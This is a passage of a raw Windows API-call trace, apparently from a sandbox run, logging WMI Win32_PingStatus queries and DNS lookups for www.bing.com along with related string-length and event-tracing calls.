wszName="__NAMESPACE", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b9b4*=0, plFlavor=0x286b9b8*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x286b9b4*=8, plFlavor=0x286b9b8*=64) returned 0x0 [0140.232] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.232] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.232] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286ba00*=0, plFlavor=0x286ba04*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x286ba00*=8, plFlavor=0x286ba04*=64) returned 0x0 [0140.232] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.232] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.232] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe470 | out: puCount=0x59fe470*=0x2) returned 0x0 [0140.232] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe46c*=0xf, pszText=0x0) returned 0x0 [0140.232] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe46c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.232] IWbemClassObject:Get (in: This=0x5ccc608, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286bc34*=0, plFlavor=0x286bc38*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x286bc34*=8, plFlavor=0x286bc38*=0) returned 0x0 [0140.232] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.232] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.232] IWbemClassObject:Get (in: This=0x5ccc608, wszName="address", lFlags=0, pVal=0x59fe4c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286bc34*=8, plFlavor=0x286bc38*=0 | out: pVal=0x59fe4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x286bc34*=8, plFlavor=0x286bc38*=0) returned 0x0 [0140.232] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.232] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.233] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe510*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe4b8 | out: ppResult=0x59fe4b8*=0x5d0b598*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfa730*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b688*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfa748*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0140.240] FreeAddrInfoW (pAddrInfo=0x5d0b598*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfa730*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b688*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfa748*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0140.241] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.243] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.244] EtwEventActivityIdControl () returned 0x0 [0140.244] EtwEventActivityIdControl () returned 0x0 [0140.244] EtwEventActivityIdControl () returned 0x0 [0140.246] EtwEventActivityIdControl () returned 0x0 [0140.246] EtwEventActivityIdControl () returned 0x0 [0140.246] EtwEventActivityIdControl () returned 0x0 [0140.256] EtwEventWriteTransfer () returned 0x0 [0140.260] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f8 [0140.260] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.260] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.260] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.260] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2876f6c*=0, plFlavor=0x2876f70*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2876f6c*=8, plFlavor=0x2876f70*=64) returned 0x0 [0140.260] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.260] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.260] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2876f6c*=8, plFlavor=0x2876f70*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2876f6c*=8, plFlavor=0x2876f70*=64) returned 0x0 [0140.260] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.260] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.260] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.260] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.261] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.261] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877008*=0, plFlavor=0x287700c*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2877008*=8, plFlavor=0x287700c*=64) returned 0x0 [0140.261] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.261] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.261] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877008*=8, plFlavor=0x287700c*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2877008*=8, plFlavor=0x287700c*=64) returned 0x0 [0140.261] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.261] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.261] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.261] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.261] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877164*=0, plFlavor=0x2877168*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2877164*=8200, plFlavor=0x2877168*=64) returned 0x0 [0140.262] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877164*=8200, plFlavor=0x2877168*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2877164*=8200, plFlavor=0x2877168*=64) returned 0x0 [0140.262] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.262] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.262] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.262] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28773cc*=0, plFlavor=0x28773d0*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28773cc*=8, plFlavor=0x28773d0*=64) returned 0x0 [0140.262] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.262] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.262] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28773cc*=8, plFlavor=0x28773d0*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28773cc*=8, plFlavor=0x28773d0*=64) returned 0x0 [0140.262] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.262] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.262] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.262] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.262] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.263] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28774f4*=0, plFlavor=0x28774f8*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28774f4*=8200, plFlavor=0x28774f8*=64) returned 0x0 [0140.263] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28774f4*=8200, plFlavor=0x28774f8*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28774f4*=8200, plFlavor=0x28774f8*=64) returned 0x0 [0140.263] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0140.263] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0140.263] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.263] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0140.263] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0140.263] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.263] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe43c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe430 | out: pNames=0x59fe430*="\x01ƀ\x04") returned 0x0 [0140.263] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.264] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.264] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe2c8 | out: plLbound=0x59fe2c8) returned 0x0 [0140.264] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.264] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.264] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.264] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.264] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.264] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.264] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.264] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.264] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.264] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.264] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.264] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.264] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.265] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.265] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.265] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.265] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.265] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.265] SysStringByteLen (bstr="__PATH") returned 0xc [0140.265] SysStringByteLen (bstr="__PATH") returned 0xc [0140.265] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877d30*=0, plFlavor=0x2877d34*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2877d30*=3, plFlavor=0x2877d34*=64) returned 0x0 [0140.265] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877d64*=0, plFlavor=0x2877d68*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2877d64*=8, plFlavor=0x2877d68*=64) returned 0x0 [0140.265] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.265] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.265] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877dbc*=0, plFlavor=0x2877dc0*=0 | out: pVal=0x59fe42c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877dbc*=8, plFlavor=0x2877dc0*=64) returned 0x0 [0140.266] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877de4*=0, plFlavor=0x2877de8*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2877de4*=8, plFlavor=0x2877de8*=64) returned 0x0 [0140.266] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.266] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.266] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877e3c*=0, plFlavor=0x2877e40*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2877e3c*=8, plFlavor=0x2877e40*=64) returned 0x0 [0140.266] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.266] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.266] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2878014*=0, plFlavor=0x2878018*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2878014*=3, plFlavor=0x2878018*=64) returned 0x0 [0140.266] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2878048*=0, plFlavor=0x287804c*=0 | out: pVal=0x59fe42c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2878048*=8200, plFlavor=0x287804c*=64) returned 0x0 [0140.267] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x287807c*=0, plFlavor=0x2878080*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x287807c*=8, plFlavor=0x2878080*=64) returned 0x0 [0140.267] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.267] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.267] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28780c8*=0, plFlavor=0x28780cc*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28780c8*=8, plFlavor=0x28780cc*=64) returned 0x0 [0140.267] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.267] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.267] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2878114*=0, plFlavor=0x2878118*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2878114*=8, plFlavor=0x2878118*=64) returned 0x0 [0140.267] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.267] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe470 | out: puCount=0x59fe470*=0x2) returned 0x0 [0140.267] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe46c*=0xf, pszText=0x0) returned 0x0 [0140.267] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe46c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.267] IWbemClassObject:Get (in: This=0x5ccc608, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2878348*=0, plFlavor=0x287834c*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2878348*=8, plFlavor=0x287834c*=0) returned 0x0 [0140.267] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.267] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.267] IWbemClassObject:Get (in: This=0x5ccc608, wszName="address", lFlags=0, pVal=0x59fe4c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2878348*=8, plFlavor=0x287834c*=0 | out: pVal=0x59fe4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2878348*=8, plFlavor=0x287834c*=0) returned 0x0 [0140.267] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.267] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.268] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe510*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe4b8 | out: ppResult=0x59fe4b8*=0x5d0b8b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfa748*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b868*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfa730*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0140.273] FreeAddrInfoW (pAddrInfo=0x5d0b8b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfa748*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b868*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfa730*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0140.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", 